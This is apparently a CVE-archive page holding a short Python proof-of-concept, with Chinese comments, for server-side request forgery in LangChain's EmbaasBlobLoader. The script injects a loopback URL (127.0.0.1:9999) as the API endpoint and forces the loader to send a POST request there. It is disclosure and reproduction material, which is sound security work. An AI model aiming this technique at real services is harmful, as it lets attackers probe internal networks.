5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_ssrf.py PY
import sys
import os

# 自动定位到我的代码库路径
# 如果你的路径有变,请修改这一行
sys.path.append("/mnt/d/GitHub_Projects/langchain/libs/langchain")

try:
    from langchain_community.document_loaders.embaas import EmbaasBlobLoader
    from langchain_community.document_loaders.blob_loaders import Blob
except ImportError:
    # 兼容旧版本路径
    from langchain.document_loaders.embaas import EmbaasBlobLoader
    from langchain.document_loaders.blob_loaders import Blob

def run_test():
    # 【投毒点】我们将 URL 设置为本地回环地址的特殊端口
    # 模拟攻击者尝试探测服务器本地的 9999 端口
    target_url = "http://127.0.0.1:9999"
    
    print(f"[*] 步骤 1: 注入恶意地址 -> {target_url}")
    
    # 初始化 Loader。参数通过 values 字典进入第 65 行的验证函数
    # 由于第 65-71 行只查 Key 不查 URL,毒素会成功存入 self.api_url
    loader = EmbaasBlobLoader(
        embaas_api_url=target_url,
        embaas_api_key="test_key"
    )

    print("[*] 步骤 2: 触发请求 (Sink 点: 第 149 行)")
    try:
        # 构造简单数据并加载,迫使程序执行 requests.post
        blob = Blob.from_data(b"hello")
        list(loader._get_documents(blob))
    except Exception as e:
        # 如果你看到 ConnectionRefused 且指向 127.0.0.1,说明 SSRF 成功!
        print(f"\n[!] 漏洞复现成功!服务器已尝试访问非法地址。")
        print(f"[!] 报错详情: {e}")

if __name__ == "__main__":
    run_test()